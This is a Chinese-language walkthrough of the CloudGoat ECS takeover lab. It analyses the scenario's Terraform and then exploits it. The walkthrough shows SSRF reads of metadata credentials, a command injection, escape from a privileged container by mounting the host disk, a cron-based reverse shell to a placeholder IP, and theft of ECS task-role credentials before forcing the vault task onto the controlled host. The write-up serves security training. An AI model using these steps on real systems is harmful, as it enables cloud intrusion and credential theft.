[CloudGoat]ECS Takeover

ECS快速入门

Amazon Elastic Container Service (Amazon ECS) 是AWS上的一个容器编排服务,它和K8s的区别在于ECS是Amazon自己实现的容器编排方案,而K8s是Google的开源容器编排解决方案。

通过下面的图快速了解下ECS的各个组件
image.png

  • Cluster manager 可以管理一个 Cluster 上的所有 Contaienr Instance。
  • Contaienr Instance 是一个 Linux 主机,上面运行着 Docker Engine 和 ECS Container Agent。Contaienr Instance 会向 Cluster manager 注册来让其对自己进行管理。
  • Service 是一个任务清单,Cluster manager 会通过各种方式在 Contaienr Instance 上实现/维持这些任务。一个 Service 中包含 Task Number 和 Task Definition。
    • Task Number 指的是 Task 的数量。
    • Task Definition 则是 Task 的具体内容,它包括一个 Container Definitions。Container Definitions 则是一个镜像和镜像的启动命令。
  • Role 管理,在整个 ECS 中涉及4个 Role,其中 Service Role🔵 和 Task Execution Role🟠 属于功能 Role 用户不用太关心。剩下两个,Task Role🟣 是为具体执行任务的 Container 提供的 Role,它所涉及的云资源的使用要用户提供;一台 Contaienr Instance 上的 Container 还可以使用这台 Contaienr Instance Role🔴 的资源。

值得一提的是,上面的 ECS 是 EC2 Mode。除此之外 AWS 还提供了一个 Fargate 的 ECS,在 Fargate 中 Contaienr Instance 在用户视角中将完全隐藏,这样用户就可以更专注于 Service 的编写。
image.png

TF代码分析

除去provider.tf、outputs.tf、variables.tf,各个资源都是类别名称对应自己的 tf 文件
image.png

vpc.tf

在将ECS启动前,需要有一个承载这些资源的VPC。代码首先定义的一个VPC的基本内容,包括一个VPC,同时为VPC添加一个网关和一个子网。

resource "aws_vpc" "vpc" {
  cidr_block           = "10.0.0.0/16"
  enable_dns_support   = true
  enable_dns_hostnames = true

  tags = {
    "Name" = "cg-${var.scenario-name}-${var.cgid}-main"
  }
}

resource "aws_internet_gateway" "internet_gateway" {
  vpc_id = aws_vpc.vpc.id

  tags = {
    "Name" = "cg-${var.scenario-name}-${var.cgid}-main"
  }
}

resource "aws_subnet" "public" {
  vpc_id            = aws_vpc.vpc.id
  availability_zone = "us-east-1a"
  cidr_block        = "10.0.1.0/24"

  tags = {
    "Name" = "cg-${var.scenario-name}-${var.cgid}-public"
  }
}

接着创建了指向网关的默认路由,同时将该路由与子网关联

resource "aws_route_table" "public" {
  vpc_id = aws_vpc.vpc.id

  route {
    cidr_block = "0.0.0.0/0"
    gateway_id = aws_internet_gateway.internet_gateway.id
  }

  tags = {
    "Name" = "cg-${var.scenario-name}-${var.cgid}-public"
  }
}

resource "aws_route_table_association" "route_table_association" {
  subnet_id      = aws_subnet.public.id
  route_table_id = aws_route_table.public.id
}

最后在VPC中定义了一个安全组允许 TCP 流量到端口 80 (HTTP) 和端口 443 (HTTPS)。源 IP 地址范围则根据 var.cg_whitelist 来确定,这个其实就是 CloudGoat 配置时的 whitelist 选项(0.0.0.0/0)。

resource "aws_security_group" "ecs_sg" {
  vpc_id                 = aws_vpc.vpc.id
  revoke_rules_on_delete = true

  ingress {
    from_port   = 80
    to_port     = 80
    protocol    = "tcp"
    cidr_blocks = var.cg_whitelist
  }

  ingress {
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = var.cg_whitelist
  }

  egress {
    from_port   = 0
    to_port     = 65535
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  tags = {
    "Name" = "cg-${var.scenario-name}-${var.cgid}-ecs-sg"
  }
}

iam.tf

iam.tf里面定义了两个 IAM Role,供 Contaienr Instance 使用的 ecs_agent 和供 Task 使用的 privd

//
// ECS Worker Instance Role
//
data "aws_iam_policy_document" "ecs_agent" {
  statement {
    actions = ["sts:AssumeRole"]

    principals {
      type        = "Service"
      identifiers = ["ec2.amazonaws.com"]
    }
  }
}

resource "aws_iam_role" "ecs_agent" {
  name               = "cg-${var.scenario-name}-${var.cgid}-ecs-agent"
  assume_role_policy = data.aws_iam_policy_document.ecs_agent.json
}


resource "aws_iam_role_policy_attachment" "ecs_agent" {
  role       = aws_iam_role.ecs_agent.name
  policy_arn = "arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role"
}

resource "aws_iam_instance_profile" "ecs_agent" {
  name = "cg-${var.scenario-name}-${var.cgid}-ecs-agent"
  role = aws_iam_role.ecs_agent.name
}



//
//  ECS Container role
//

data "aws_iam_policy_document" "ecs_tasks_role" {
  statement {
    actions = ["sts:AssumeRole"]

    principals {
      type        = "Service"
      identifiers = ["ecs-tasks.amazonaws.com"]
    }
  }
}



resource "aws_iam_role" "privd" {
  name                = "cg-${var.scenario-name}-${var.cgid}-privd"
  assume_role_policy  = data.aws_iam_policy_document.ecs_tasks_role.json
  managed_policy_arns = [aws_iam_policy.privd.arn]
}

// Give the role read access to ecs and IAM permissions.
resource "aws_iam_policy" "privd" {
  name = "cg-${var.scenario-name}-${var.cgid}-privd"

  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Action = [
          "ecs:ListServices",
          "ecs:ListTasks",
          "ecs:DescribeServices",
          "ecs:ListContainerInstances",
          "ecs:DescribeContainerInstances",
          "ecs:DescribeTasks",
          "ecs:ListTaskDefinitions",
          "ecs:DescribeClusters",
          "ecs:ListClusters",
          "iam:GetPolicyVersion",
          "iam:GetPolicy",
          "iam:ListAttachedRolePolicies",
          "iam:GetRolePolicy"
        ]
        Effect   = "Allow"
        Resource = "*"
      },
    ]
  })
}

其中ecs_agent直接使用的AWS托管策略AmazonEC2ContainerServiceforEC2Role。根据对该策略的描述,这是一个ECS中EC2的默认策略。其中包括对 CloudWatch Logs、EC2、Elastic Container Registry、Elastic Container Service 的有限访问。
image.png

privd策略涉及对 AWS ECS 和 IAM 服务的查询和获取信息的操作。

{
  Action = [
    "ecs:ListServices",
    "ecs:ListTasks",
    "ecs:DescribeServices",
    "ecs:ListContainerInstances",
    "ecs:DescribeContainerInstances",
    "ecs:DescribeTasks",
    "ecs:ListTaskDefinitions",
    "ecs:DescribeClusters",
    "ecs:ListClusters",
    "iam:GetPolicyVersion",
    "iam:GetPolicy",
    "iam:ListAttachedRolePolicies",
    "iam:GetRolePolicy"
  ]
  Effect   = "Allow"
  Resource = "*"
}

ec2.tf

ec2.tf主要定义了两个 EC2 实例。其中它们使用了 AWS 官方为 ECS 服务定制的 AMI

data "aws_ami" "ecs" {
  most_recent = true
  owners      = ["amazon"]

  filter {
    name   = "name"
    values = ["amzn2-ami-ecs-hvm-*"]
  }

  filter {
    name   = "virtualization-type"
    values = ["hvm"]
  }

  filter {
    name   = "architecture"
    values = ["x86_64"]
  }
}

下面这段user_data是让 EC2 实例启动的时候执行命令echo ECS_CLUSTER=${aws_ecs_cluster.ecs_cluster.name} >> /etc/ecs/ecs.config来自动加入 cluster

locals {
  user_data = <<EOH
#!/bin/bash
echo ECS_CLUSTER=${aws_ecs_cluster.ecs_cluster.name} >> /etc/ecs/ecs.config
EOH
}

除此之外,还有关联的角色和安全组的配置,均是前面配置好的。同时这两个 EC2 都关联了公网 IP associate_public_ip_address = true

resource "aws_instance" "vulnsite" {
  ami                         = data.aws_ami.ecs.id
  iam_instance_profile        = aws_iam_instance_profile.ecs_agent.name
  vpc_security_group_ids      = [aws_security_group.ecs_sg.id]
  user_data                   = local.user_data
  instance_type               = "t2.micro"
  associate_public_ip_address = true
  subnet_id                   = aws_subnet.public.id

  tags = {
    "Name" = "cg-${var.scenario-name}-${var.cgid}-vulnsite"
  }
}

resource "aws_instance" "vault" {
  ami                         = data.aws_ami.ecs.id
  iam_instance_profile        = aws_iam_instance_profile.ecs_agent.name
  vpc_security_group_ids      = [aws_security_group.ecs_sg.id]
  user_data                   = local.user_data
  instance_type               = "t2.micro"
  associate_public_ip_address = true
  subnet_id                   = aws_subnet.public.id

  tags = {
    "Name" = "cg-${var.scenario-name}-${var.cgid}-vault"
  }
}

ecs.tf

ecs.tf大致可以分为三部分:

  • 定义 Cluster
  • 定义 Task Definition
  • 定义 Service

定义 Cluster 比较简单只包含一个 name 参数

resource "aws_ecs_cluster" "ecs_cluster" {
  name = "${var.scenario-name}-${var.cgid}-cluster"
}

然后是三个 Task Definition 的定义,这里看下最后一个vulnsite

  • 任务定义基本配置
    • family: 任务定义的家族名,这里使用 Terraform 变量 var.scenario-namevar.cgid 动态生成。差不多就是一个名称。
    • network_mode: 设置为 "host",表明任务将使用宿主机的网络命名空间。在这种模式下,容器将直接使用宿主机的网络,不会虚拟化或隔离网络。
  • 容器定义
    • name: 容器的名称,设为 "vulnsite"
    • image: 容器使用的镜像,这里是 "cloudgoat/ecs-takeover-vulnsite:latest",表示使用最新版本的 cloudgoat/ecs-takeover-vulnsite 镜像。
    • essential: 设置为 true,表示这个容器必须在运行时始终处于运行状态;如果它失败,ECS 将停止整个任务。
    • privileged: 设置为 true,赋予容器提升的权限,允许它访问宿主机的资源,这在需要执行特定系统操作的情况下是必需的。
    • network_mode: 指定了 "awsvpc"。根据过往文档的描述awsvpc网络模式提供的任务联网功能使 Amazon ECS 任务具有与 Amazon EC2 实例相同的联网属性。感觉和前面的network_mode: "host"有点相似,不知道是配合使用还是冲突设置。
    • cpumemory: 分别设置容器的 CPU 和内存限制,这里是 256 CPU 单位和 256 MB 内存。
    • portMappings: 定义端口映射,这里将容器的 80 端口映射到宿主机的 80 端口,使容器可以处理 HTTP 流量。
    • mountPoints: 定义挂载点,和后面的volume选项配合,里将宿主机的 /var/run/docker.sock 挂载到容器的相同路径上。这通常用于允许容器内的应用管理宿主机上的 Docker 守护进程。
  • 卷定义
    • name: 卷的名称 "docker-socket"
    • host_path: 定义宿主机上的路径 /var/run/docker.sock。这允许容器通过 Docker 套接字与宿主机的 Docker 守护进程交互。

特权模式+/var/run/docker.sock挂载,这个容器的危险性已不言而喻。

resource "aws_ecs_task_definition" "vault" {
  family = "cg-${var.scenario-name}-${var.cgid}-vault"

  # Wait for the website to be deployed to the cluster.
  # This should make sure the instances are available.
  container_definitions = jsonencode([
    {
      name      = "vault"
      image     = "busybox:latest"
      essential = true
      cpu       = 50
      memory    = 50
      command   = ["/bin/sh -c \"echo '{{FLAG_1234677}}' >  /FLAG.TXT; sleep 365d\""]
      entryPoint = [
        "sh",
        "-c"
      ]
    }
  ])
}

// Hosts the role we want to use to force rescheduling
resource "aws_ecs_task_definition" "privd" {
  family        = "cg-${var.scenario-name}-${var.cgid}-privd"
  task_role_arn = aws_iam_role.privd.arn
  container_definitions = jsonencode([
    {
      name      = "privd"
      image     = "busybox:latest"
      cpu       = 50
      memory    = 50
      essential = true
      command   = ["sleep", "365d"]
    }
  ])
}

// Hosts website to container escape execution
resource "aws_ecs_task_definition" "vulnsite" {
  family       = "cg-${var.scenario-name}-${var.cgid}-vulnsite"
  network_mode = "host"
  container_definitions = jsonencode([
    {
      name         = "vulnsite"
      image        = "cloudgoat/ecs-takeover-vulnsite:latest"
      essential    = true
      privileged   = true
      network_mode = "awsvpc"
      cpu          = 256
      memory       = 256
      portMappings = [
        {
          containerPort = 80
          hostPort      = 80
        }
      ]
      mountPoints = [
        {
          readOnly      = false,
          containerPath = "/var/run/docker.sock"
          sourceVolume  = "docker-socket"
        }
      ]
    }
  ])

  volume {
    name      = "docker-socket"
    host_path = "/var/run/docker.sock"
  }
}

最后是三个 Service 的定义。vulnsite通过memberOf类型的约束,让任务的部署必须满足表达式ec2InstanceId == ${aws_instance.vulnsite.id},也就是指定了 EC2 实例 ID。

resource "aws_ecs_service" "vulnsite" {
  name            = "vulnsite"
  cluster         = aws_ecs_cluster.ecs_cluster.id
  task_definition = aws_ecs_task_definition.vulnsite.arn
  desired_count   = 1

  placement_constraints {
    type       = "memberOf"
    expression = "ec2InstanceId == ${aws_instance.vulnsite.id}"
  }
}

预置器(Provisioner)是由 Terraform 所提供的另一组插件,每种预置器可以在资源对象创建后执行不同类型的操作。vault中的Provisioner表示在创建资源后执行一个Python脚本remove_placement_constraints.py,同时配置了执行这个脚本的环境变量。

resource "aws_ecs_service" "vault" {
  name                 = "vault"
  cluster              = aws_ecs_cluster.ecs_cluster.id
  task_definition      = aws_ecs_task_definition.vault.arn
  force_new_deployment = true
  desired_count        = 1


  depends_on = [
    aws_ecs_service.vulnsite,
  ]

  ordered_placement_strategy {
    type = "random"
  }

  // Setting this here ensures vault start's on the right instance, this setting is removed in the provisioner below.
  placement_constraints {
    type       = "memberOf"
    expression = "ec2InstanceId == ${aws_instance.vault.id}"
  }

  provisioner "local-exec" {
    command = "/usr/bin/env python3 remove_placement_constraints.py"
    environment = {
      CLUSTER            = self.cluster
      SERVICE_NAME       = self.name
      AWS_DEFAULT_REGION = var.region
      AWS_PROFILE        = var.profile
    }
  }
}

remove_placement_constraints.py脚本则是在vault服务启动后移除服务的放置限制

"""Removes the PlacmentConstraints set for a given cluster/service."""
import boto3
import time
from os import environ

ecs = boto3.client('ecs', region_name='us-east-1')

cluster = environ['CLUSTER']
service_name = environ['SERVICE_NAME']

while True:
    resp = ecs.list_tasks(
        cluster=cluster,
        serviceName=service_name,
        desiredStatus="RUNNING",
    )
    if len(resp['taskArns']) > 0:
        break

    print(f"Waiting for tasks in the service {service_name} to enter the the RUNNING state.")
    time.sleep(5)

ecs.update_service(
    cluster=cluster,
    service=service_name,
    placementConstraints=[],
)

outputs.tf

最后的outputs.tf将实例的public_dns属性输出,这是AWS 为每个具有公网 IP 的 EC2 实例自动分配一个公共 DNS 名称。

output "vuln-site" {
  value = aws_instance.vulnsite.public_dns
}

关于DNS解析的配置有两个部分,首先是实例中配置了关联公网IP

resource "aws_instance" "vulnsite" {
  ...
  associate_public_ip_address = true
  ...
}

此外,AWS VPC 中有两个相关的 DNS 设置:enable_dns_supportenable_dns_hostnamesenable_dns_support 控制 VPC 是否使用 Amazon-provided DNS 服务器解析 DNS 查询,而 enable_dns_hostnames 控制是否自动为 VPC 中的实例分配 DNS 主机名。

resource "aws_vpc" "example" {
  ...
  enable_dns_support   = true
  enable_dns_hostnames = true
  ...
}

Scenario: ecs_takeover

背景

Scenario Resources

  • 1 VPC and Subnet with:
  • 2 EC2 Instances
  • 1 ECS Cluster
  • 3 ECS Services
  • 1 Internet Gateway

Scenario Start(s)

  • Access the external website via the EC2 Instance's public IP.

Scenario Goal(s)

  • Gain access to the "vault" container and retrieve the flag.

渗透流程

访问起始的URL,这里存在一个SSRF漏洞
image.png

获取关联角色?url=169.254.169.254/latest/meta-data/iam/security-credentials/cg-ecs-takeover-ecs_takeover_cgid1cex40y24h-ecs-agent/
image.png

登录的角色是ecs-agent,前面我们知道了这个角色的策略是AmazonEC2ContainerServiceforEC2Role
image.png

除此之外这个输入还存在命令注入/?url=;echo 'hello'
image.png
既然存在命令注入,那首先判断下这是不是个容器环境,使用的命令为cat /proc/1/cgroup。有点意外的是 ECS 服务所起的容器的cgroup子系统都归到了/ecs/[id-1]/[id-2]这个路径下,和 docker 的docker/[容器ID]有点不同。具体原因现在先不管,总之这里判断出了当前环境是在一个 docker 里面的。
image.png

在前面我们(偷偷地)知道了这个容器有两个危险的配置,一个是特权模式

cat /proc/$$/status | grep CapEff
image.png

一个是docker socket挂载

ls -lah /var/run/docker.sock
image.png

这两种漏洞都可以来做容器逃逸,这里要我们使用特权模式逃逸。

查看挂载磁盘设备

fdisk -l
image.png

将宿主机文件挂载到容器的./test目录下

mkdir ./test && mount /dev/xvda1 ./test

写计划任务前还是要简单判断下主机的系统

  • Centos的定时任务文件在/var/spool/cron/<username>
  • Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>,同时文件权限必须要600才能执行

这里/var/spool/cron/下直接是空的,所以我们把crontrab定时文件写到./test/var/spool/cron/root。稍等一会儿后收到反弹shell

echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ip/9999  0>&1'" >> ./test/var/spool/cron/root
image.png

控制主机后,查看运行的容器信息。第一个是web服务的容器,第二个任务(从前面偷偷知道)是有 Task Role 的

docker ps -a
image.png

而这里除了两个任务容器外,还有一个由amazon-ecs-agent镜像启动的容器。这个就是实例自动安装 ECS 容器代理,参考:https://docs.aws.amazon.com/zh_cn/AmazonECS/latest/developerguide/ecs-agent-install.html
image.png

虽然我们获取了 Container Instances Role 但对整个集群的其他信息还无法感知,因为AmazonEC2ContainerServiceforEC2Role对集群没有任何读取权限。
image.png
image.png

因此我们将目标转为 privd 容器的 Task Role,和 EC2 实例元数据一样。ECS 中也有任务元数据,获取方式和实例元数据一样可以用HTTP的方式。https://docs.aws.amazon.com/zh_cn/AmazonECS/latest/developerguide/ec2-metadata.html
image.png

不过文档中并没有说明 Task Role 的凭证可以通过任务元数据获取。关于 Task Role 的凭证获取是在 Container credential provider 的部分https://docs.aws.amazon.com/sdkref/latest/guide/feature-container-credentials.html。根据文档的描述这似乎更像一种开发规范,获取的路径在容器的环境变量里
image.png

打印第二个容器的环境变量,看到了AWS_CONTAINER_CREDENTIALS_RELATIVE_URI的环境变量

docker exec 38a2028763d2 sh -c 'printenv'
HOSTNAME=38a2028763d2
SHLVL=1
HOME=/root
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/6b786c97-87aa-4a33-9c7b-c4fbef9f4638
AWS_EXECUTION_ENV=AWS_ECS_EC2
ECS_AGENT_URI=http://169.254.170.2/api/5272106b-c65e-4397-8272-9c66d4a16875
ECS_CONTAINER_METADATA_URI_V4=http://169.254.170.2/v4/5272106b-c65e-4397-8272-9c66d4a16875
ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/5272106b-c65e-4397-8272-9c66d4a16875
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/
image.png

访问169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI获取 Task Role 凭证

docker exec 38a2028763d2 sh -c 'wget -q -O - 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
image.png

登录用户privd
image.png

下面开始收集集群信息。首先,列出集群

aws --profile task-role ecs list-clusters 
image.png

查看集群的模式,"registeredContainerInstancesCount": 2得知集群里运行的 EC2 数量为 2,这也表明这一个 EC2 Mode 的 ECS

aws --profile task-role ecs describe-clusters --clusters arn:aws:ecs:us-east-1:637423561540:cluster/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster
image.png

列出集群里的 Container Instances

aws --profile task-role ecs list-container-instances --cluster arn:aws:ecs:us-east-1:637423561540:cluster/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster
{
    "containerInstanceArns": [
        "arn:aws:ecs:us-east-1:637423561540:container-instance/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/363039e07fcf40db99d5a5c57558a50c",
        "arn:aws:ecs:us-east-1:637423561540:container-instance/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/e5edf45c9c5a44f9a21ab32987022046"
    ]
}

查看这两个 Container Instances 对应的实例ID

aws --profile task-role ecs describe-container-instances --cluster arn:aws:ecs:us-east-1:637423561540:cluster/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster --container-instances arn:aws:ecs:us-east-1:637423561540:container-instance/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/363039e07fcf40db99d5a5c57558a50c --query "containerInstances[*].ec2InstanceId"
[
    "i-0118453e343e82efd"
]

aws --profile task-role ecs describe-container-instances --cluster arn:aws:ecs:us-east-1:637423561540:cluster/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster --container-instances arn:aws:ecs:us-east-1:637423561540:container-instance/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/e5edf45c9c5a44f9a21ab32987022046 --query "containerInstances[*].ec2InstanceId"
[
    "i-0fe09f6db2ba10228"
]

从前面控制的实例元数据可知,这个实例对应的是第一个 Container Instances
image.png

列出集群中的服务

aws --profile task-role ecs list-services --cluster arn:aws:ecs:us-east-1:637423561540:cluster/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster
{
    "serviceArns": [
        "arn:aws:ecs:us-east-1:637423561540:service/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/vault",
        "arn:aws:ecs:us-east-1:637423561540:service/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/vulnsite",
        "arn:aws:ecs:us-east-1:637423561540:service/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/privd"
    ]
}

该渗透场景的目标是vault服务,所以我们查看该服务详细的信息。从输出的结果中可以看到:

  • desiredCount: 服务期望运行的任务数量为 1。
  • runningCount: 当前正在运行的任务数量也为 1。
  • pendingCount: 等待启动的任务数量为 0,表明没有任务在排队等待启动。
aws --profile task-role ecs describe-services --cluster arn:aws:ecs:us-east-1:637423561540:cluster/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster --services arn:aws:ecs:us-east-1:637423561540:service/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/vault
image.png

再来看下该服务运行在哪个 Container Instances 上。首先,查看服务中的任务:

aws --profile task-role ecs list-tasks --cluster arn:aws:ecs:us-east-1:637423561540:cluster/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster --service-name vault
{
    "taskArns": [
        "arn:aws:ecs:us-east-1:637423561540:task/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/e00e1be22a134245893031ee753ff53f"
    ]
}

然后,描述这些任务以获取它们运行在哪个 Container Instance 上的信息。显示的是第二个我们控制外的 EC2

aws --profile task-role ecs describe-tasks --cluster arn:aws:ecs:us-east-1:637423561540:cluster/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster --tasks arn:aws:ecs:us-east-1:637423561540:task/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/e00e1be22a134245893031ee753ff53f --query "tasks[*].containerInstanceArn"
[
    "arn:aws:ecs:us-east-1:637423561540:container-instance/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/e5edf45c9c5a44f9a21ab32987022046"
]

为了将vault移到受控主机上,我们可以将vault所在的 Container Instance 状态更新为 DRAINING,这样 ECS 就会自动将这个服务调度要我们这台主机上。而这个操作对应的权限ecs:UpdateContainerInstancesState刚好在 Container Instance Role 上。

重新获取 Container Instance Role 的凭证登录
image.png

修改实例状态

aws --profile ci-role ecs update-container-instances-state --cluster arn:aws:ecs:us-east-1:637423561540:cluster/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster --container-instances  arn:aws:ecs:us-east-1:637423561540:container-instance/ecs-takeover-ecs_takeover_cgid1cex40y24h-cluster/e5edf45c9c5a44f9a21ab32987022046 --status DRAINING

很快 task 被调度到了我们的受控主机上 image.png

读取Flag

docker exec abe084998eb7 cat FLAG.TXT
image.png

命令总结

aws ecs describe-clusters --clusters [Cluster-ARN]
aws ecs list-container-instances --cluster [Cluster-Name]
aws ecs describe-container-instances --cluster [Cluster-Name] --container-instances [Container-Instance-ARNs]
aws ecs list-services --cluster [Cluster-Name]
aws ecs describe-services --cluster [Cluster-Name] --services [Service-ARNs]
aws ecs list-tasks --cluster [Cluster-Name] --service-name [Service-Name]
aws ecs describe-tasks --cluster [Cluster-Name] --tasks [Task-ARNs]
aws ecs describe-container-instances --cluster [Cluster-Name] --container-instances [Container-Instance-ARNs]

aws ecs update-container-instances-state --cluster <your_cluster_name> --container-instances <target_container_instance> --status DRAINING

参考链接

https://www.ruse.tech/blogs/ecs-attack-methods
https://docs.aws.amazon.com/zh_cn/AmazonECS/latest/developerguide/Welcome.html
https://www.bilibili.com/video/BV12E421K7ST/
https://www.youtube.com/watch?v=22IsSW3YD0A